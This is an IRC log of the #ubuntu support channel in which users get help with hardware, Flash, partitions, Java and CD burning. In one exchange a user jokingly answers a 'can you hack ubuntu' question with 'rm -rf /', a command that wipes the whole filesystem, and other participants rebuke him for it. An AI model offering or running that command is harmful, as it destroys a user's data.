[19:45] <Gnea> BigBear: http://www.dell.com/content/topics/segtopic.aspx/ubuntu?c=us&cs=19&l=en&s=dhs
[19:45] <Peewe666> Hi everyone...
[19:45] <BigBear> are there any netbooks that come with ubuntu (netbooks like eee
[19:45] <gumpish> Is there a faster way than scp to copy files to another host? (I don't need the overhead of encryption, it's on my LAN)
[19:45] <christooopher_> i ran fdisk, should i post whole result?
[19:45] <Peewe666> I'm looking for some help configuring my flash on firefox 3. Ubuntu Hardy.
[19:45] <gumpish> BigBear: the new Dell Inspiron Mini 9 does.
[19:46] <nandemonai> !pastebin > christooopher_
[19:46] <TelnetManta> Can anyone tell me how to rescan for new hardware? My nic isnt showing up.
[19:46] <jrib> Peewe666: "configuring"?  You should just need to install flashplugin-nonfree and that's it
[19:46] <BigBear> Excellent
[19:46] <nandemonai> christooopher_, then post us the link :)
[19:46] <Gnea> BigBear: please see the URL, you can find everything they offer there.
[19:46] <BigBear> Gnea: thanks checking it right now
[19:46] <mattdev> Hello everyone, I'm having a problem in Gparted.  I just formatted a drive to ext3 but it won't let me mount it!  I right click the drive and I can see unmount but it's grayed out.  Any ideas?  The drive isn't already mounted becasue it's not showing up on the desktop.
[19:47] <BigBear> is 512MB ram enough for ubuntu?
[19:47] <Pici> BigBear: Yes.
[19:47] <Gnea> yes
[19:47] <BigBear> my computer has 1GB ram
[19:47] <nandemonai> BigBear, sure is.
[19:47] <qrl> ubottu: It`s not tv-out, its VGA
[19:47] <BigBear> that netbook has 512MB
[19:47] <Peewe666> Jrib... I can't get fullscreen video in most pages...
[19:47] <BigBear> Oh yeah is intel atom powerful?
[19:47] <christooopher_> thanks, heres my fdisk result
[19:47] <christooopher_> http://paste.ubuntu.com/43714/
[19:47] <jrib> Peewe666: what happens?
[19:47] <BigBear> !atom
[19:48] <qrl> Can i force my VGA output to send signals to my screen?
[19:48] <TelnetManta> Can anyone tell me how to rescan for new hardware? My nic isnt showing up.
[19:48] <Peewe666> I have the buttons for fullscreen showing but when I click on them nothing happens...
[19:48] <nandemonai> christooopher_, ouch.. you say your data was on second disk?
[19:48] <Peewe666> So I'm stuck with the small screen...
[19:48] <BigBear> and of course xp gets premium in dell insipron 9
[19:48] <jrib> Peewe666: what version of ubuntu and flash?
[19:48] <christooopher_> yeah, is it gone??
[19:48] <qrl> and I miss the notebook-botton i have in windows, so I can switch between slave/master screen?
[19:48] <Peewe666> Ubuntu Hardy Heron (.04...
[19:48] <kat__> Anyone who can help me with my Line 6 toneport? (external soundcard) . is there a driver for linux
[19:49] <nandemonai> christooopher_, sure is.
[19:49] <enex> hey can someone tell me if ubuntu has support for mounting hfs+ drives by default
[19:49] <jrib> !who | Peewe666
[19:49] <Peewe666> 8.04
[19:49] <enex> thanks
[19:49] <nandemonai> christooopher_, you used the whole drive.
[19:49] <christooopher_> its only coming up as 5gb though...?
[19:49] <Aquahallic> does ext3 filesystem have a max size i can use on a partition?
[19:49] <BigBear> Aquahallic: yes 2TB
[19:49] <Peewe666> How do I go private? Sorry first timer here... ;)
[19:49] <BigBear> depends on the block size
[19:49] <nandemonai> christooopher_, well, the partitions are gone anyway.
[19:50] <t35t0r> mobunutu
[19:50] <Aquahallic> hrm
[19:50] <nandemonai> christooopher_, I only see linux partitions there.
[19:50] <tcleval> qrl install gcc-3.3-base libstdc++5 using apt-get and use wget to download http://packages.medibuntu.org/pool/non-free/w/w32codecs/w32codecs_20071007-0medibuntu2_i386.deb after that use dpkg -i to install w32codec... the problem is that if u use apt to install w32codec it start over and over again the download, with wget it just cotinue from where it stoped ... give it a try
[19:50] <BigBear> jfs has a max of 16TB on 32BIt cpu and 4PB on 64Bit
[19:50] <nandemonai> christooopher_, if it's only killed the partition table you may be able to recover with a windows tool of some description.
[19:51] <Peewe666> How do I send you private messages Jrib?
[19:51] <christooopher_> one second i found something interesting
[19:51] <Peewe666> !Jrib I think I have flash 9
[19:51] <BigBear> how big should i make /?
[19:51] <nandemonai> !botsnack
[19:51] <Vagilinux> peewe666 right click on the name you want to send a message and choose query
[19:52] <Pici> BigBear: 10gb is usually enough
[19:52] <qrl> how can I switch between my laptop-screen and external screen?
[19:52] <jrib> Peewe666: just put my nick in front of what you say here, use "jrib" though as "Jrib" doesn't seem to get highlighted.
[19:52] <Peewe666> Thanks Vagilinux...
[19:52] <BigBear> and i should make the rest of my 490GB /home with a 2GB swap?
[19:52] <christooopher_> i right-clicked -> properties of the filesystem and it came up with my total gb
[19:52] <qrl> In Windows it used to be Fn + F7
[19:52] <christooopher_> but says some things may be unreadable
[19:52] <Aquahallic> I have a 160 gig drive.... I partitioned it as one large.. .formated it with ext3.... I copied some files to it.. and when I view hidden and all... it shows that I have 69 items on it.. that total 49 gig... but I only have 23 gig of space left.. I've deleted the trash dir completely also.... what on earth is going on here...:|
[19:52] <Pici> BigBear: Sounds good to me
[19:52] <Peewe666> jrib So that's what I've got...
[19:52] <BigBear> Aquahallic: Ext3 reserves 5% of space
[19:52] <NuwenPham> I have Ubuntu 8.04 (hardy) Kernel v2.6.24-19-server GNOME v2.22.3 -- I can't add users
[19:52] <Vagilinux> peewe666 np
[19:53] <Aquahallic> is that for FAT?
[19:53] <BigBear> Use JFS it has no reserved space and less overhead?
[19:53] <NuwenPham> Users settings dialog has "Unlock" greyed out
[19:53] <Zaiden> Is it possible to remove PulseAudio and replace it with esd without completely screwing up your ubuntu installation?
[19:53] <christooopher_> anyone know where ubuntu hides the files on a drive when u choose to install without partitioning?
[19:53] <BigBear> jfs is a filesystem like ext3 and its a little more fast than ext3.
[19:54] <Aquahallic> can I convert existing? or do I need to completely reformat?
[19:54] <TelnetManta> Can anyone tell me how to rescan for new hardware? My nic isnt showing up.
[19:54] <nandemonai> Hold up, that still doesn't add up.
[19:54] <TelnetManta> Anyone?
[19:54] <jrib> Peewe666: what did you mean by "most pages"?  sometimes it works?
[19:54] <t35t0r> TelnetManta, linux doesn't work that way
[19:54] <t35t0r> TelnetManta, is your NIC a PCI card or a pcmcia ?>
[19:54] <nandemonai> Aquahallic, even with ext3 your missing space.
[19:55] <christooopher_> hey everyone i figured it out, the new ubuntu install option puts the data under /host
[19:55] <NuwenPham> hi there
[19:55] <Peewe666> jrib Like in some pages... I have this one that works perfect...
[19:55] <nandemonai> 72g of 160g? ext3 wont chew that much space..
[19:55] <Peewe666> jrib give me just a sec please...
[19:55] <jrib> Peewe666: are you using Desktop Effects?
[19:56] <kikiyo> Hi, I installed xp after a ubuntu install and the boot menu is gone, how do i recover it back?
[19:56] <jrib> !grub > kikiyo
[19:56] <Peewe666> Yes I am...
[19:56] <NuwenPham> My Users settings dialog has "Unlock" greyed out
[19:56] <Aquahallic> exactly... this is really weird!
[19:56] <Peewe666> jrib sorry, yes I am, compiz fusion
[19:56] <jrib> Peewe666: try disabling them, I think that may be the culprit
[19:56] <Peewe666> jrib you think?
[19:56] <qrl> and I miss the notebook-botton I had in windows, so I could switch between the laptop-screen and the projector..... anyone?
[19:56] <kikiyo> thanks jrib :)
[19:56] <herrmess> I go to Administration->Nvidia X Server Settings, change mode to 1152x864. Successfully. I choose "save to X config file". It's saved under "metamodes" and it works. Until I restart whereby resolution reverts to 1024x768. Always. xorg.conf still has the metamode. How do I boot into 1152x864???
[19:57] <Awsoonn_> I am haveing troubles with an ATI Radeon 7000, I want to use the duel heads as one big desktop, so in  the screen resolution tool, I unchecked clone, but the monitors are still cloned. I can move my mouse a bit off the screen now, but it simply vanashes from both monitors.
[19:57] <Peewe666> jrib too much workload for the video crad or something?
[19:57] <jrib> Peewe666: don't know
[19:57] <nandemonai> Aquahallic, if you can afford to reformat without losing anything I'd suggest trying again and double checking your using the whole drive.
[19:58] <Peewe666> jrib I really don't think so tho...
[19:58] <jrib> Peewe666: did you test if disabling effects makes the problem go away?
[19:58] <Aquahallic> well I'm moving everything back off it now.... and I'mma smoke it and redo it
[19:58] <Osse> Why does it tell me that the file type is not supported, .iso. Trying to burn to a DVD.
[19:59] <nandemonai> Aquahallic, just make sure you use the entire drive, if it happens again then something funky is up.
[19:59] <jmckinzie> hello...any intrepid users that can help me?
[19:59] <jmckinzie> i have an issue with compiz fusion with an nvidia card
[19:59] <nandemonai> Osse, what application?
[19:59] <Theaxiom> Are there any programs that capture my desktop directly to a "virtual hardware" webcam?
[19:59] <jrib> jmckinzie: #ubuntu+1 for help with intrepid
[19:59] <Awsoonn_> jmckinzie: #ubuntu+1
[19:59] <Aquahallic> I wonder if there's something on there that's not showing up
[20:00] <Osse> nandemonai - Don't know. The regular "Write to disk" command.
[20:00] <Aquahallic> are there any drive utils that might show me?
[20:00] <nandemonai> Osse, ahh, think that only writes files. Use brasero for iso.
[20:00] <rampageoberon> 10GB suitable for root partition?
[20:00] <nandemonai> Osse, applications -> sound and video
[20:00] <Peewe666> jrib I can play fullscreen this: http://www.watch-family-guy-online.com/wp-content/plugins/wordtube/fullscreen.html
[20:01] <Peewe666> jrib no problem...
[20:01] <Osse> nandemonai - Thanks, works.
[20:01] <Peewe666> jrib with all my visual enhancements on...
[20:01] <pascal> hello
[20:01] <Peewe666> jrib I can't get full screen on megavideo...
[20:01] <jrib> Peewe666: ok, so find a page that doesn't work with effects on, turn effects off, and test the page
[20:01] <Peewe666> jrib for example...
[20:01] <Peewe666> jrib ok...
[20:01] <nandemonai> Aquahallic, sudo fdisk -l
[20:01] <pascal> are some french here?
[20:01] <jrib> !fr | pascal
[20:02] <The_Netherdrake> Hello
[20:02] <Aquahallic> yup.. did... shows me that I'm using all the blocks....
[20:02] <nandemonai> Aquahallic, very odd.
[20:02] <Peewe666> jrib just a sec please...
[20:02] <Aquahallic> yeah no kidding
[20:02] <The_Netherdrake> are some indonesia here?
[20:02] <herrmess> Please, how do I set the display mode for the screen (WITHOUT editing xorg.conf manually; I can brute force it but I'd really like to find a way to manage this without the console)
[20:03] <WastePotato> Yo Yo Yo!
[20:03] <jrib> !id | The_Netherdrake
[20:03] <WastePotato> ...
[20:03] <Peewe666> jrib disabled...
[20:03] <alienzero> looking for a something that lets me chat to a device over a serial connection that isn't minicom? any ideas?
[20:03] <Peewe666> jrib going onto page that usually doesn't work...
[20:04] <assargadon> I wonderhow it possible: some applications works fine with my soundcard. For example, I can hear login sound pretty well. But others sounds very silently, I almost can't hear it...what can be a problem?
[20:04] <Peewe666> jrib same difference...
[20:04] <Peewe666> jrib doesn't work...
[20:04] <joseph> awn is starting twice on login, can anyone help get this starting only once?
[20:04] <Aquahallic> I lost the allocation table on a 500 gig drive... but I could still read it fine... so I slapped in a 100 and 160 in that box and am dumping a mess of stuff to them... so lastnight I started some copies and went to bed... I thought I'd copied some stuff to the 160 but it shows nothing so I didn't really think anything of it.. thought I was just tired and really didn't.. but maybe I did and something got hosed.... a
[20:05] <Peewe666> jrib any more suggestions???
[20:05] <jrib> Peewe666: you can try flash 10 beta I guess.  adobe flash is proprietary, but you can file a bug with them
[20:06] <Peewe666> jrib I know...
[20:06] <Peewe666> jrib the thing is...
[20:06] <Gnea> Aquahallic: the allocation table or the MBR?
[20:06] <Peewe666> jrib I had to downgrade from flash 10 cause it didn't work properly on my machine...
[20:06] <A[D]minS> i configured iptables to be : INPUT ACCEPT, OUTPUT ACCEPT , FORWARD ACCEPT
[20:06] <jrib> Peewe666: ah
[20:06] <A[D]minS> how i can log everything ?
[20:06] <Gnea> !iptables > A[D]minS
[20:07] <Peewe666> jrib that's the deal
[20:07] <jrib> Peewe666: the fact it works on some sites is really weird
[20:07] <Peewe666> jrib :)
[20:07] <Peewe666> jrib I know...
[20:07] <jrib> Peewe666: what video driver?
[20:07] <Peewe666> jrib it015b almost as if it chose...
[20:07] <Peewe666> jrib Nvidia propietary.
[20:07] <Peewe666> jrib legacy
[20:07] <Realcoolguy> need advice on how to migrate from one hard drive (way too old and probably starting to fail) to another hard drive
[20:08] <Peewe666> jrib my machine is old... very old...
[20:08] <jrib> Peewe666: could try nv to see if there's a difference.  Just to see where to look further for a solution
[20:08] <Peewe666> jrib that's one of the main reasons I swtched from windoze to Linux...
[20:09] <Peewe666> jrib nvidia?
[20:09] <SDuensin> sun-java6-bin is making me dead inside.  Has anyone actually made this install on 8.04?
[20:09] <jrib> SDuensin: yes.  Pastebin your cause of death
[20:09] <SDuensin> jrib - I can do that!
[20:09] <noodlesgc> SDuensin cant you use OpenJDK?
[20:09] <jrib> Peewe666: nv is the open source driver
[20:10] <Peewe666> jrib oh I see...
[20:10] <Aquahallic> Gnea: http://ubuntu.pastebin.com/m224dc64e
[20:10] <SDuensin> http://pastebin.com/m1d2a37e9
[20:10] <Peewe666> jrib but I think I NEED the legacy cause my card is SO old...
[20:10] <SDuensin> OpenJDK seems to be causing me pain.
[20:10] <Aquahallic> says allocation table
[20:10] <Peewe666> jrib does it work with really old cards as well?
[20:11] <jrib> Peewe666: maybe.  won't hurt to try, just backup your xorg.conf
[20:11] <SDuensin> I managed to get all of it installed except for sun-java6-bin.  It wants --configure 'ed but won't do it.
[20:11] <Peewe666> jrib plus the driver seems to work well with just about everything else I throw at it...
[20:11] <jrib> Peewe666: I don't have any other ideas :/
[20:12] <Peewe666> jrib ok thanks for the help anyway...
[20:12] <Peewe666> jrib :)
[20:12] <jrib> Peewe666: good luck
[20:12] <xim> do ATI cards play well with ubuntu?
[20:12] <Peewe666> jrib thanks...
[20:13] <noodlesgc> xim they can sometimes be a pain if you want 3D acceleration
[20:13] <Aquahallic> I'm wondering if my drive controller is going belly up...:|
[20:13] <SDuensin> jrib - Seems a lot of people get the same output I do during install.
[20:13] <pawel> firefox 3 is broken :)
[20:13] <xim> noodlesgc: is nvidia gneraly better?
[20:14] <ben_k> I'm re-installing libodbc++-0.2.4pre3 from source since the Ubuntu package uses iODBC and I want to use unixODBC.  I previously had a version built on the server, but I need to rebuild it for a threaded environment.  However, when I run "./configure --with-odbc --enable-threads" it generates a Makefile in the ./src directory which still contains the @AMDEP_TRUE@ style variables.  Shouldn't those be converted to real values during the ./configure execution?
[20:14] <franklin> hello pawel
[20:14] <noodlesgc> xim I guess so, if you really want the best support I think Intel will be good, unless you are a heavy 3D guy
[20:14] <pawel> hi franklin
[20:14] <franklin> where are you
[20:14] <ahtmly2k> hey could WINE get hit by a windows virus?
[20:15] <noodlesgc> ahtmly2k yeah, but it wouldn't really matter.
[20:15] <Babbleback> how do i stream music from mms://wmstreaming.whro.org/whro_live which is in windoes media stream format
[20:15] <jrib> SDuensin: http://sadsoftware.blogspot.com/2008/07/installing-jdk-in-openvz-vps.html seems to have an explanation
[20:15] <SDuensin> Babbleback - Try VLC
[20:15] <franklin> hi xim...where are you
[20:15] <Babbleback> i did
[20:15] <A[D]minS> This is the rule which should be in iptables : $IPT -P INPUT LOG ACCEPT   ?
[20:15] <xim> noodlesgc: hmm im not a 'heavy' 3d guy but I would at least like to be able to play quake3 decently from time to time, i thought intel cards were all onboard garbage tho
[20:15] <pawel> franklin: in what sense? ;)
[20:15] <xim> franklin: im in texas
[20:15] <SDuensin> jrib - I looked at that, but I don't have OpenVZ, nor that beancounter stuff in /proc
[20:16] <Babbleback> SDuensin, got the following error: Unable to open 'mms://wmstreaming.whro.org/whro_live'
[20:16] <ahtmly2k> WINE: so it be at any harm then if i open an archived file containing a virus?
[20:16] <pawel> franklin is looking for new friends
[20:16] <doggymenz> A[D]minS, no, i dont so...
[20:16] <noodlesgc> xim I have an intel 965GM onboard and compiz & alien arena, sauerbraten, and UrbanTerror all run fine.
[20:16] <A[D]minS> so what it should be to accept everything but also to log it
[20:16] <doggymenz> A[D]minS, if you dont know how to use iptables, just use 'ufw' instead, type 'sudo ufw enable'
[20:16] <Andeh> What does it mean when abiword underlines two of your sentences with green squiggles?
[20:17] <franklin> pawel no...he not serach new friend
[20:17] <Andeh> I tried clicking and right clicking on them and it doesn't show any suggestions for grammar improvement or whatnot.
[20:17] <pawel> franklin: :)
[20:17] <Babbleback> SDuensin, any ideas?
[20:17] <SDuensin> Babbleback - http://www.faqs.org/docs/Linux-HOWTO/VideoLAN-HOWTO.html#AEN435
[20:17] <pawel> franklin: just teasing you ;)
[20:17] <jrib> Babbleback: try mplayer :)  (wfm)
[20:18] <franklin> pawel:can you hack ubuntu
[20:18] <xim> noodlesgc: cool, im trying to buy a laptop though so i gotta see if i can find that, thanks
[20:18] <SDuensin> jrib - Some of the threads say I'll get this install error if I failed to check the box when the license for Java was displayed.  If that's the case, how on earth do you get another chance?
[20:18] <pawel> franklin: rm -rf / normally does the trick
[20:18] <noodlesgc> xim try the Inspiron 1525 preinstalled with ubuntu, not a bad price either.
[20:18] <noodlesgc> xim *from Dell
[20:18] <Myrtti> !danger
[20:18] <jrib> franklin: do not do that
[20:19] <jrib> pawel: do not recommend that even with stupid questions
[20:19] <jrib> SDuensin: are you installing in a shell?
[20:19] <SDuensin> jrib - First time, when it got screwed up, was in Symantic.  Now I'm in a shell.  I can do either.
[20:20] <pawel> jrib: ok, just sounds like a troll
[20:20] <Realcoolguy> yeah, you forgot to put sudo or some kind of superuser in front of it ;)  (no don't run rm [remove] commands on the / [or root] directories anyone)
[20:20] <Babbleback> SDuensin, took it a few tries but it's playing
[20:20] <jrib> SDuensin: 'sudo dpkg --configure -a' doesn't give you the license question?
[20:20] <jrib> pawel: yeah, but other users might try the command
[20:20] <tyger> hi
[20:20] <rezasalam1> hi
[20:21] <tyger> i'm new to ubuntu
[20:21] <pawel> jrib: oh dear :)
[20:21] <tyger> i just installed
[20:21] <tyger> ubuntu studio
[20:21] <SDuensin> jrib - Negative.  subprocess post-installation script returned error exit status 134
[20:21] <jrib> SDuensin: can you purge it?
[20:21] <tyger> but all i get is a black screen
[20:21] <tyger> with commands
[20:21] <tyger> it asks me to log in and password
[20:22] <tyger> and someting about sud
[20:22] <SDuensin> jrib - Been tere, done that.  Will do ita agian
[20:22] <jrib> tyger: don't use enter to break up your thoughts as it makes it harder to follow what you are saying
[20:22] <tyger> ok.
[20:22] <jrib> SDuensin: oh, you're on dapper too?
[20:22] <Myrtti> hello franklin, sorry about that
[20:22] <dustman> anyone use virtualbox here?
[20:22] <SDuensin> jrib - Whatever 8.04 is called.  Too many bird to remember.
[20:23] <evilbug> SDuensin- it's Hardy Heron.
[20:23] <jrib> SDuensin: ah, yeah, the package version confused me
[20:23] <mysterycool> Hey
[20:23] <noodlesgc> dustman now and then, whats the problem?
[20:23] <Babbleback> SDuensin, at one point i had a file that I could open with vlc that would open the radio station stream
[20:24] <mysterycool> With which program can I record a video through my webcam and also record the sound through my mic which is actually the webcam again? I know the webcam works, I tried it on a flash application.
[20:24] <floppyears> hi guys
[20:24] <mysterycool> hi
[20:24] <floppyears> does ubuntu come with a livecd ?
[20:24] <noodlesgc> mysterycool try cheese
[20:24] <jrib> floppyears: the desktop cd is a live cd and install cd
[20:24] <vipaca> ping
[20:24] <mysterycool> floppyears: yes.
[20:24] <mysterycool> !cheese
[20:24] <mysterycool> .
[20:24] <floppyears> how does the ubuntu live cd compare to knoopix ?
[20:24] <Pici> mo: The floodbot is not a person, its a program for managing the channel, please ask your question in here.
[20:25] <mysterycool> noodlesgc: Is it in the repos?
[20:25] <Gizmo_The_Great> can any1 tell me how to install java 1.6 or above? All the threads on Internet seem to relate to earlier Ubuntu version and 1.4 has been installed via Synaptic on my Gutsy Gibbon install
[20:25] <noodlesgc> mysterycool yes
[20:25] <jrib> floppyears: try them both, and use the one you like
[20:25] <compiler91> Hi! Can I use ubuntu in 64x? is there are Java Virtual Machine?
[20:25] <dustman> somebody use virtualbox?
[20:25] <jrib> !java > Gizmo_The_Great
[20:25] <jrib> dustman: many
[20:25] <tyger> Basically i login to ubuntu studio but i have to use the promt and i can't get into the gui.
[20:26] <SDuensin> tyger - What kind of video card do you have?
[20:26] <mysterycool> noodlesgc: Ok, thanks :D =]
[20:26] <Gizmo_The_Great> jrib, thanks a lot - thanks
[20:26] <tyger> intel
[20:26] <SDuensin> tyger - OK, got one I know nothing about.  Doh!
[20:26] <dustman> jrib: have you tried to sync palm on winxp on vbox?
[20:26] <jrib> dustman: no
[20:28]  * SDuensin patiently waits for apt.
[20:28] <eeejay> anyone find alpha5 isos in the wild?
[20:28] <tyger> after login in the promt it talks about a root  and sudo
[20:28] <jrib> !intrepid | eeejay
[20:29] <eeejay> thanks jrib. but do you know when the iso will be available? the release schedule says September 4, that was yesterday
[20:29] <jrib> eeejay: #ubuntu+1 :)
[20:29] <mysterycool> noodlesgc: Um, where are the video saved? :s
[20:30] <eeejay> jrib: ah cool, sorry :)
[20:30] <jrib> eeejay: but the answer of course is "when it's ready".  It's best to subscribe to the mailing list and just wait
[20:30] <SDuensin> jrib - Purged.  Recommendation on how to reload it?
[20:30] <noodlesgc> mysterycool not exactly sure, ive never used cheese :D. Somewhere in your home folder.
[20:30] <tyger> jrib: are there any hot key
[20:30] <mysterycool> noodlesgc: Oh, ok.
[20:30] <madmartian_> sorry if this is a bit of a silly question, but where can I get a prerelease version of 8.10?
[20:31] <palt> Anyone know an easy way to sync google calendar with evolution? The build in google calendar doesn't seem to be working :/
[20:31] <jrib> SDuensin: sudo apt-get install sun-java6-bin
[20:31] <jrib> tyger: hot key for what?
[20:31] <palt> I mean the built in google calendar support in evolution :)
[20:31] <eeejay>  !intrepid | madmartian
[20:31] <eeejay> !intrepid | madmartian
[20:31] <GT> So, I just reinstalled Ubuntu on my machine, but I accidentally installed 32-bit instead of 64-bit, which my processor supports. Does anyone know how to change 32-bit Ubuntu into 64-bit without reinstalling everything?
[20:31] <madmartian> thanks
[20:32] <jrib> GT: no, you have to reinstall
[20:32] <psicobra> can any oe tell me how i set a different wallpaper per virtual desktop
[20:32] <psicobra> *one
[20:32] <jrib> psicobra: are you using desktop effects?
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[20:33] <psicobra> and yes i am using Desktop effects
[20:33] <psicobra> what happened
[20:33] <jrib> psicobra: bots fighting bots
[20:33] <psicobra> ahhh ok
[20:34] <noodlesgc> battlebots!
[20:34] <jrib> psicobra: if you enable "advanced desktop effects" you can set a different wallpaper like you asked in the cube settings
[20:34] <Invisible_Cat> battletoads!
[20:34] <Theaxiom> Are there any programs that capture my desktop directly to a "virtual hardware" webcam?
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[20:34] <histo> Theaxiom: are you trying to screencap to video there are plenty.
[20:34] <McAfee17> halp!
[20:34] <Theaxiom> histo: No, to webcam.
[20:34] <noodlesgc> Theaxiomm not sure, but it may be possible with gtk-recordmydesktop
[20:34] <crdlb> psicobra: but note that doing that requires turning off nautilus's desktop drawing (which means no desktop icons)
[20:34] <mysterycool> !webcam
[20:34] <psicobra> ok thanks will try
[20:35] <Theaxiom> mysterycool: That is not what I need.
[20:35] <xim> noodlesgc: thanks
[20:35] <McAfee17> I dl'd an iso of vista (LEGALLY) and then tried to use the built in cd/dvd burner and my cd drive dissappeared
[20:35] <McAfee17> HELP
[20:35] <mysterycool> Theaziom: Um, that's for me... :p
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[20:35] <McAfee17> ﻿ I dl'd an iso of vista (LEGALLY) and then tried to use the built in cd/dvd burner and my cd drive dissappeared
[20:35] <EJ> hi, i am trying to install and config Courier On Ubuntu 8.04.1 server, and im going thru the instructions on the community help page. I've hit 1 little snag and it may seem trivial but im not sure how i need to pass this command "chown -R myuser:usergroup /home/myuser/Maildir". Now i know that "myuser" would be users in my home directory but what do i use for the user group? This is a fresh install of the OS and i have ran the updates sucess
[20:36] <SDuensin> jrib - Amazing!  It's installed!  I *know* I've done that before!
[20:36] <McAfee17> ﻿ I dl'd an iso of vista (LEGALLY) and then tried to use the built in cd/dvd burner and my cd drive dissappeared
[20:36] <McAfee17> ﻿ I dl'd an iso of vista (LEGALLY) and then tried to use the built in cd/dvd burner and my cd drive dissappeared
[20:36] <SDuensin> jrib - Thanks!
[20:36] <LjL> !repeat | macaf
[20:36] <jrib> SDuensin: yeah that happens sometimes :)
[20:36] <LjL> McAfee17: ^
[20:36] <SDuensin> jrib - I'm gonna claim the position of the moon changed.  :-)
[20:37] <Theaxiom> How do you download an ISO of Vista legally?
[20:37] <McAfee17> LjL: what do i do?
[20:37] <noodlesgc> EJ try your username again.
[20:37] <McAfee17> b/c microsoft has a student "alliance'
[20:37] <SDuensin> Theaxiom - You can get a trial in some ways.
[20:37] <EJ> noodlesgc: for the usergroup ?
[20:37] <McAfee17> where you can get software free if your schools part of the "alliance"
[20:37] <jrib> McAfee17: how is that related to ubuntu?
[20:37] <ShackJack> Theaxiom: You dont...
[20:37] <LjL> McAfee17: i haven't the slightest idea
[20:37] <noodlesgc> EJ yes
[20:37] <frostburn> Theaxiom, you can get it if you have a corporate account
[20:37] <EJ> noodlesgc: ok
[20:37] <pen> have anyone tried google chrome running in linux yet?
[20:37] <McAfee17> jrib: b/c i'm using ubuntu and when i tried to burn the iso it made my cd drive dissappear
[20:38] <McAfee17> pen: lifehacker has an article on how to get it to run
[20:38] <ShackJack> pen: Only in a XP VM ;)  Me no likey
[20:38] <SDuensin> pen - WINE can do it, but after using it in Windows, I don't think it's worth the effort.  Yet.
[20:38] <McAfee17> ShackJack: did you use the lifehacker thing?
[20:38] <McAfee17> can anyone help?
[20:38] <EJ> noodlesgc: seems to have passed without error this time, thank you. i will test now.
[20:38] <pen> McAfee17, where is the link?
[20:38] <ShackJack> McAfee17: No I have an Windows XP virtual machine and installed the Windows version :)
[20:39] <McAfee17> hold on, i'll get it
[20:39] <jrib> McAfee17: does it persist after reboot or you haven't tried?
[20:39] <McAfee17> persists
[20:39] <pen> SDuensin, wine will slows down the speed and it's not native to linux too. I don't want to install xp either
[20:39] <McAfee17> pen: http://lifehacker.com/5045334/run-google-chrome-in-ubuntu-with-wine
[20:39] <EJ> noodlesgc: OH THANK YOU THANK YOU ! it worked perfectly
[20:40] <McAfee17> jrib: it persists
[20:40] <Matai> Hi, I am new, My ubuntu install failed under windows, I can't remove it now..tips anyone
[20:40] <pc_> pc
[20:40] <ShackJack> Pen McAfee17 - I don't think chrome is worth the effort, but if you're curious I suppose ;)
[20:40] <SDuensin> pen - It's coming to Linux.  Just wait.  It's not that great at the moment anyway.
[20:40] <noodlesgc> EJ no problem
[20:40] <McAfee17> shackjack: i ran it on a windows box, it was fun but still not worth making a switch, and def. not worth all the setup in chrome
[20:40] <ShackJack> Matai: You might want to describe the nature of this failure and someone could help you with a sucessfull install :)
[20:41] <McAfee17> how do i get my cd drive back?!
[20:41] <ShackJack> McAfee17: No, it has a looooong way to go... though the underlying mem sturcture is intriguing...
[20:41] <pen> SDuensin, it is fast in vista though it doesn't have all the functions I want
[20:41] <McAfee17> i like the porn mode
[20:41] <W1MNK> Trying to login to 8.10Alpha4 in Vmware Player2, and cannot get any input in the username field.
[20:41] <ShackJack> :)
[20:41] <Penopticon> Matai: Try installing from WUBI. Look it up on the net. then the install is just a file and to remove you go to Add/Remove programs on the windoze control panel.
[20:41] <McAfee17> i mean um..."incognito mode'
[20:41] <pen> McAfee17, hehe
[20:42] <cheriplum> Can someone help me with my fstab?
[20:42] <McAfee17> anyone listen to BOL from CNET?
[20:42] <Matai> The partitioner failed and now unistall is present but doesn't run. When I start I can run ubuntu and it tries to install again
[20:42] <Theaxiom> omfg Google Chrome runs each tab in its own process? That is freaking awesome!
[20:42] <pen> Theaxiom, you just know?
[20:42] <McAfee17> did you guys here that the Beatles are coming to the ITunes store?
[20:42] <pen> Theaxiom, you are lagging too much
[20:42] <Odd-rationale> !offtopic | McAfee17
[20:43] <Spydon> In which file can I manually config the wireless network?
[20:43] <MaximLevitsky> can I print on photo (4x6) in fspot ?
[20:43] <McAfee17> !offtopic | Odd-rationale
[20:43] <McAfee17> lol
[20:43] <cheriplum> I have an 80 gb (/dev/sda) and a 160 gb (/dev/hda).  fstab says it will mount the hda in /mnt/folder but it doesn't.  I try to manually mount, and the 160 gb drive is in /tmp/disks-conf-hda1.
[20:43] <cheriplum> why does it do this?
[20:43] <McAfee17> who can help fix my cd drive?
[20:44] <Penopticon> MaximLevitsky:  Try downloading PhotoPrint from the repository.
[20:44] <McAfee17> HELLO? i tried to burn an iso and my cd drive dissappeared?!
[20:44] <McAfee17> halp
[20:44] <noodlesgc> Spydon try: ~/.gconf/system/networking/wireless/networks
[20:45] <Odd-rationale> McAfee17: disappeared on windows?
[20:45] <McAfee17> NO, ubuntu
[20:45] <Penopticon> McAfee17: Try rebooting and use K3b.
[20:45] <McAfee17> why would i be here if i was using windoze?
[20:45] <McAfee17> penopticon: whats K3B?
[20:45] <Odd-rationale> !info k3b
[20:45] <Penopticon> It is in the repositories.
[20:46] <McAfee17> awesome, thanks
[20:46] <DarkShadow791> Is anyone here able to help me with my wireless problems?
[20:46] <noodlesgc> DarkShadow791 maybe, if you would tell us what it is
[20:46] <W1MNK> Trying to login to 8.10Alpha4 in Vmware Player2, and cannot get any input in the username field.
[20:46] <MaximLevitsky> ﻿Penopticon, so f-spot can't print on anything but A4, am I right?
[20:46] <DarkShadow791> Well im trying to connect to my wireless router provided by verizon
[20:46] <Penopticon> DarkShadow791: You may find more help from the forum where you can post and have people mull it over.
[20:47] <noodlesgc> W1MNK intrepid issues are discussed in #ubuntu+1
[20:47] <DarkShadow791> and it uses wep encryption. but when i enter my password, it constantly "connects" but never does anything
[20:47] <DarkShadow791> i poked around the forums but i'm fairly new to linux and didnt understand half of what was there
[20:47] <DarkShadow791> i figured i'd try here before posting
[20:47] <McAfee17> brb gonna reboot
[20:47] <Penopticon> MaximLevitsky:  It should be a property on your printer software.
[20:47] <DarkShadow791> i'm currently on a wired connection :x but i need to get this wireless setup working
[20:47] <ShackJack> DarkShadow791: You might try switching it over (both the router and Ubuntu) to WPA2 Personal - it's much more secure and I've had better luck with it...
[20:48] <the-ra> unfortunately my acx100 driver does not support wpa
[20:48] <ConstantineXVI> Is the Intel 4965 wifi card a good choice for ubuntu, and can you do any better?
